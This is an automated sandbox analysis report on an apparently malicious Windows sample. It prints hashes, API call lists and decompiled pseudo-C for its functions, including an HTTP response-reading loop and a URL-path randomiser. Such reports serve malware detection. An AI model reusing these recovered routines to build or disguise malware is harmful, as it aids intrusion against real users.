Opcode ID: 9e30b95f6311570deffcaf4a439eb79dee6f01770a18c5c4f79c602b163f4ef8
Instruction ID: f1887ae822dbad292c00c035fbbc7cd0b5e309cde69849b750b2915e4e954d07
Opcode Fuzzy Hash: 9e30b95f6311570deffcaf4a439eb79dee6f01770a18c5c4f79c602b163f4ef8
Instruction Fuzzy Hash: F3416E71A00619EBDB109EACDC81BDE776DFF84310F108529B91AE7281EB709E958B91

Uniqueness

Uniqueness Score: -1.00%

Function 0081A81C, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,73B74D40), ref: 0081A82E

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

ResetEvent.KERNEL32(?), ref: 0081A8A2
GetLastError.KERNEL32 ref: 0081A8C5
GetLastError.KERNEL32 ref: 0081A970

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 37f12b9fd62cbb6f8f09ff2a3caa6ae616890fad484457147af7788fbb4c9246
Instruction ID: 3481c450420bad17291c47c395e04161385b8693caca77c33e02b23d1f5aee9b
Opcode Fuzzy Hash: 37f12b9fd62cbb6f8f09ff2a3caa6ae616890fad484457147af7788fbb4c9246
Instruction Fuzzy Hash: DE418B75501704BFDB259FA5DC88EEBBBBDFF88700B108929F552D20A1E731A985CA21

Uniqueness

Uniqueness Score: -1.00%

Function 008115FF, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E008115FF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0x81d134() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x81d164(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E0081A71F(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0x81d134() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E00815646( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E0081A734(_v16);
										if(_t64 == 0) {
											_t64 = E008170CC(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E00815646( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E00819242(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x008115ff
0x00811600
0x00811606
0x00811611
0x00811611
0x00811613
0x008118e7
0x008118ec
0x008118ee
0x008118f3
0x008118f4
0x008118f9
0x008118fa
0x00811905
0x00811936
0x0081193b
0x008119fe
0x00811941
0x00811948
0x00811950
0x008119fb
0x00811956
0x0081195b
0x00811960
0x00811965
0x008119ed
0x0081196b
0x0081196b
0x0081196d
0x00811973
0x00811974
0x00811974
0x00811977
0x0081197a
0x00811980
0x00811985
0x00811986
0x0081198b
0x0081198e
0x00811999
0x00000000
0x00000000
0x008119a1
0x008119a9
0x008119b5
0x008119b9
0x008119bb
0x008119c0
0x00000000
0x00000000
0x008119c0
0x008119b9
0x008119d2
0x008119d5
0x008119dc
0x008119e7
0x008119e7
0x00000000
0x008119c2
0x008119c2
0x008119c7
0x008119c9
0x008119ca
0x008119cd
0x00000000
0x008119cd
0x00000000
0x008119c7
0x00811974
0x008119ee
0x008119ee
0x008119f4
0x008119f4
0x00811950
0x00811907
0x0081190d
0x00811915
0x0081192e
0x00811930
0x00000000
0x00000000
0x00811917
0x00811921
0x00811925
0x0081192b
0x00000000
0x0081192b
0x00811925
0x00811915
0x00811a07
0x00811608
0x00811608
0x0081160f
0x0081161a
0x00000000
0x00000000
0x00000000
0x0081160f

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,73BB81D0), ref: 008118EE
GetLastError.KERNEL32(?,?,?,00000000,73BB81D0), ref: 00811907
ResetEvent.KERNEL32(?), ref: 00811980
GetLastError.KERNEL32 ref: 0081199B

Part of subcall function 00819242: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,73BB81D0), ref: 00819259
Part of subcall function 00819242: SetEvent.KERNEL32(?), ref: 00819269

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: 29c27b1685776bacc417bb93adfed7b83108ec622494f3728769a681647debe8
Instruction ID: dcd4cb3d8b320f37fccb15f17e4e952ccb6ad5da94f1ad1bf1bbf27c5811b614
Opcode Fuzzy Hash: 29c27b1685776bacc417bb93adfed7b83108ec622494f3728769a681647debe8
Instruction Fuzzy Hash: 8141C436640614EBCF219BA5CC48BEEBBBDFF84364F504568E662D7190E730ED818B50

Uniqueness

Uniqueness Score: -1.00%

Function 6D4D4B4A, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6D4D4B7E
__isleadbyte_l.LIBCMT ref: 6D4D4BB2
MultiByteToWideChar.KERNEL32(00000080,00000009,6D4D0AAD,?,00000000,00000000,?,?,?,?,6D4D0AAD,00000000,?), ref: 6D4D4BE3
MultiByteToWideChar.KERNEL32(00000080,00000009,6D4D0AAD,00000001,00000000,00000000,?,?,?,?,6D4D0AAD,00000000,?), ref: 6D4D4C51

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 826c3f54ec1e6dd6a76e5c0582a24393821d76258946c28ab6f21c7f4ac7919a
Instruction ID: b456ec224a81920e6172830cf71cac051cad5ccf7877c583bb38c957ea211a56
Opcode Fuzzy Hash: 826c3f54ec1e6dd6a76e5c0582a24393821d76258946c28ab6f21c7f4ac7919a
Instruction Fuzzy Hash: F931F330A04346EFDB51DF64C8A4EBA3BB4FF0A391F2185A9E1689B291D331CD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 008111EE, Relevance: 6.1, APIs: 4, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E008111EE(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x81d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x81d2a8; // 0x45fa5a8
				_t3 = _t8 + 0x81e87e; // 0x61636f4c
				_t25 = 0;
				_t30 = E008138A8(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x81d2ac, 1, 0, _t30);
					E0081A734(_t30);
				}
				_t12 =  *0x81d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0081A65C() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E00818EA1(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x81d10c( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0081A273(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x008111ef
0x008111f6
0x00811200
0x00811204
0x0081120a
0x00811219
0x00811220
0x00811224
0x00811236
0x00811238
0x00811238
0x0081123d
0x00811244
0x0081129b
0x0081129b
0x008112a1
0x008112a3
0x008112a3
0x008112ad
0x008112b1
0x008112c3
0x008112c3
0x008112c7
0x008112cd
0x008112cd
0x00000000
0x0081125d
0x00811262
0x0081126a
0x0081126e
0x00811272
0x00811272
0x0081127f
0x00811283
0x00811287
0x008112dc
0x008112e2
0x008112e2
0x00811295
0x00811299
0x008112d0
0x008112d2
0x008112d5
0x008112d5
0x00000000
0x008112d2
0x00811299
0x00000000
0x00811283

APIs

Part of subcall function 008138A8: lstrlen.KERNEL32(00000005,00000000,63699BC3,00000027,00000000,04E19A98,00000000,?,?,63699BC3,00000005,0081D00C,?,?,00815D30), ref: 008138DE
Part of subcall function 008138A8: lstrcpy.KERNEL32(00000000,00000000), ref: 00813902
Part of subcall function 008138A8: lstrcat.KERNEL32(00000000,00000000), ref: 0081390A

CreateEventA.KERNEL32(0081D2AC,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00813760,?,00000001,?), ref: 0081122F

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

WaitForSingleObject.KERNEL32(00000000,00004E20,00813760,00000000,00000000,?,00000000,?,00813760,?,00000001,?,?,?,?,008152AA), ref: 0081128F
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,00813760,?,00000001,?), ref: 008112BD
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00813760,?,00000001,?,?,?,?,008152AA), ref: 008112D5

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: b9cd8aab07964a4175a98300fc6cd49b21ff292ee8f8538110976752b127c7c5
Instruction ID: 6335ded232373dd7b51232983ba9c7ed69917b1d7ecdd3350c3e583fdee5cc65
Opcode Fuzzy Hash: b9cd8aab07964a4175a98300fc6cd49b21ff292ee8f8538110976752b127c7c5
Instruction Fuzzy Hash: A2210172A00714ABCF31DB6C9C48BEB73ADFF89B50B450624FA11D7150DB70CC808681

Uniqueness

Uniqueness Score: -1.00%

Function 00819242, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00819242(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x81d13c; // 0x81abf1
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E0081A71F(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E0081A734(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E00815646( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x00819242
0x00819242
0x0081924c
0x00819252
0x00819255
0x00819259
0x0081925f
0x00819264
0x0081927d
0x00819280
0x00819284
0x00819288
0x00819289
0x0081928e
0x00819291
0x00819298
0x0081929f
0x008192f2
0x008192f8
0x008192fe
0x00819339
0x0081933f
0x00000000
0x00000000
0x00000000
0x008192fe
0x008192a5
0x00000000
0x008192ac
0x008192ba
0x008192bd
0x008192c0
0x008192cc
0x008192d0
0x00819332
0x008192d2
0x008192d5
0x008192d9
0x008192da
0x008192db
0x008192dd
0x008192e4
0x00819322
0x0081932d
0x008192e6
0x008192e9
0x008192ed
0x008192ed
0x008192e4
0x00000000
0x008192d0
0x008192a5
0x00819269
0x0081926f
0x00819272
0x00819277
0x00000000
0x00000000
0x00000000
0x00819307
0x0081930f
0x00819314
0x00819317
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,73BB81D0), ref: 00819259
SetEvent.KERNEL32(?), ref: 00819269
GetLastError.KERNEL32 ref: 008192F2

Part of subcall function 00815646: WaitForMultipleObjects.KERNEL32(00000002,0081A8E3,00000000,0081A8E3,?,?,?,0081A8E3,0000EA60), ref: 00815661

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

GetLastError.KERNEL32(00000000), ref: 00819327

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 2dbb73ece7c7af8b28749d4fe5d2a8cb3a0356e6fd5412f09a54953b7e939384
Instruction ID: 4c055952c615570ee1473e1e6cd5f92d72dfb1df9a22d86222df6e50ef9e9959
Opcode Fuzzy Hash: 2dbb73ece7c7af8b28749d4fe5d2a8cb3a0356e6fd5412f09a54953b7e939384
Instruction Fuzzy Hash: BD31FCB5900709EFDB21DFA5CC949DEB7BCFF08304F10896AE592E2251D730AA849B51

Uniqueness

Uniqueness Score: -1.00%

Function 008136B1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E008136B1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E00813BB9(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E00814F79(_t23);
						}
					}
					return _t38;
				}
				if(E0081A2F9(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x81d2ac, 1, 0,  *0x81d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E0081A446(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E0081853F(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E00814F14(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E008111EE( &_v32, _t39);
					goto L13;
				}
			}

0x008136b1
0x008136be
0x008136c4
0x008136c5
0x008136c6
0x008136c7
0x008136c8
0x008136cc
0x008136d8
0x008136dc
0x00813764
0x00813764
0x00813767
0x00813769
0x00813771
0x00813771
0x00813777
0x0081377a
0x0081377a
0x00813777
0x00813785
0x00813785
0x008136ef
0x008136f1
0x008136f1
0x00813708
0x0081370c
0x0081370f
0x0081371a
0x00813721
0x00813721
0x0081372a
0x0081372e
0x0081373c
0x00813730
0x00813730
0x00813731
0x00813732
0x00813733
0x00813734
0x00813735
0x00813735
0x00813741
0x00813744
0x00813748
0x0081374a
0x0081374a
0x00813751
0x00000000
0x00813753
0x00813753
0x00813760
0x00000000
0x00813760

APIs

CreateEventA.KERNEL32(0081D2AC,00000001,00000000,00000040,00000001,?,73BCF710,00000000,73BCF730,?,?,?,008152AA,?,00000001,?), ref: 00813702
SetEvent.KERNEL32(00000000,?,?,?,008152AA,?,00000001,?,00000002,?,?,00815D5E,?), ref: 0081370F
Sleep.KERNEL32(00000BB8,?,?,?,008152AA,?,00000001,?,00000002,?,?,00815D5E,?), ref: 0081371A
CloseHandle.KERNEL32(00000000,?,?,?,008152AA,?,00000001,?,00000002,?,?,00815D5E,?), ref: 00813721

Part of subcall function 0081A446: WaitForSingleObject.KERNEL32(00000000,?,?,?,00813741,?,00813741,?,?,?,?,?,00813741,?), ref: 0081A520

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 7a42764bff57aba707006159e23dc77ae1ab8540ce0a4ef7f6212bf30a6d7b49
Instruction ID: b43587a7e9f54b367df81c36179a7abca8202e25d7dd63911153566d5e8c5f9a
Opcode Fuzzy Hash: 7a42764bff57aba707006159e23dc77ae1ab8540ce0a4ef7f6212bf30a6d7b49
Instruction Fuzzy Hash: 372153F2900219ABCB10AFE898858EEB7ADFF48750B018835FA11E7141D7349BC587A1

Uniqueness

Uniqueness Score: -1.00%

Function 008117E5, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E008117E5(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x81d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x81d250; // 0xe45f816a
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x81d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x008117ed
0x008117f0
0x008117f6
0x0081180e
0x00811810
0x00811815
0x00811817
0x0081181a
0x0081181c
0x0081181f
0x00811821
0x00811821
0x00811823
0x0081182e
0x00811833
0x00811844
0x0081184c
0x00811851
0x00811854
0x00811857
0x00811859
0x0081185c
0x0081185f
0x0081185f
0x00811862
0x0081186d
0x00811872
0x0081187c

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00811C49,00000000,?,?,008120C2,?,04E195B0), ref: 008117F0
RtlAllocateHeap.NTDLL(00000000,?), ref: 00811808
memcpy.NTDLL(00000000,?,-00000008,?,?,?,00811C49,00000000,?,?,008120C2,?,04E195B0), ref: 0081184C
memcpy.NTDLL(00000001,?,00000001), ref: 0081186D

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: fa581b4565178a5a0212c77ca707f0e393a664f07d24a39b09e88a2643b1ed53
Instruction ID: 5de1c5489fc9893a8fbcf6e655752d8e4a9d22c3096707c82b7e81e7075f976a
Opcode Fuzzy Hash: fa581b4565178a5a0212c77ca707f0e393a664f07d24a39b09e88a2643b1ed53
Instruction Fuzzy Hash: CD11C672A00214AFD7108B69DC88EDEBBEEFF84360B054176F505D7150E7749E44C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4D1584, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 6D4D15AA

Part of subcall function 6D4D13CF: __fltout2.LIBCMT ref: 6D4D13FB

__cftog_l.LIBCMT ref: 6D4D15D0
__cftoe_l.LIBCMT ref: 6D4D1602

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: c34abbd1296f7ae0ad105afb934567bc248b8be585a3f19d99314e43a2ceecc2
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 98118C7200414EBBCF524E84CC21CEE3F23BB09394F598419FE6859130D736C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 00816840, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00816840(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x0081684a
0x0081684e
0x00816863
0x00816865
0x0081686a
0x00816870
0x00816872
0x00816877
0x00816882
0x00816879
0x00816879
0x00816879
0x00816877
0x00816890

APIs

memset.NTDLL ref: 0081684E
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,73BB81D0), ref: 00816863
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00816870
CloseHandle.KERNEL32(?), ref: 00816882

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: cf5c40fbb704780f95b2f21956ccfef87dbbbeb217849adad35ad7d9ac99ca3c
Instruction ID: 8ae8182ce8f3f946c8a383979a82cebf076e05ba88111077682ef26b1b58b88c
Opcode Fuzzy Hash: cf5c40fbb704780f95b2f21956ccfef87dbbbeb217849adad35ad7d9ac99ca3c
Instruction Fuzzy Hash: 8DF082F114470CBFD3106F26ECC4C67BBACFF95299B128A3EF182C2111D672AC598A60

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C6788, Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6D4C67A2

Part of subcall function 6D4C5012: __FF_MSGBANNER.LIBCMT ref: 6D4C5035
Part of subcall function 6D4C5012: __NMSG_WRITE.LIBCMT ref: 6D4C503C

std::bad_alloc::bad_alloc.LIBCMT ref: 6D4C67C5

Part of subcall function 6D4C676D: std::exception::exception.LIBCMT ref: 6D4C6779

std::bad_exception::bad_exception.LIBCMTD ref: 6D4C67D9
__CxxThrowException@8.LIBCMT ref: 6D4C67E7

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Exception@8Throw_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1802512180-0
Opcode ID: 9854abf38c65dac0972782a00e4928968c18a9f83be2f1cea3be4fdbc3a12500
Instruction ID: 893e63e5c666d851708c366153f3b69b54a20c27e6da79ce86ec2f2a6e8396ae
Opcode Fuzzy Hash: 9854abf38c65dac0972782a00e4928968c18a9f83be2f1cea3be4fdbc3a12500
Instruction Fuzzy Hash: D7F0273C60E10623DF04AB35EE01E7D3BE84F4232CF22882CD900965A1DF22DD0185D3

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C53B1, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D4C53BD

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__getptd.LIBCMT ref: 6D4C53D4
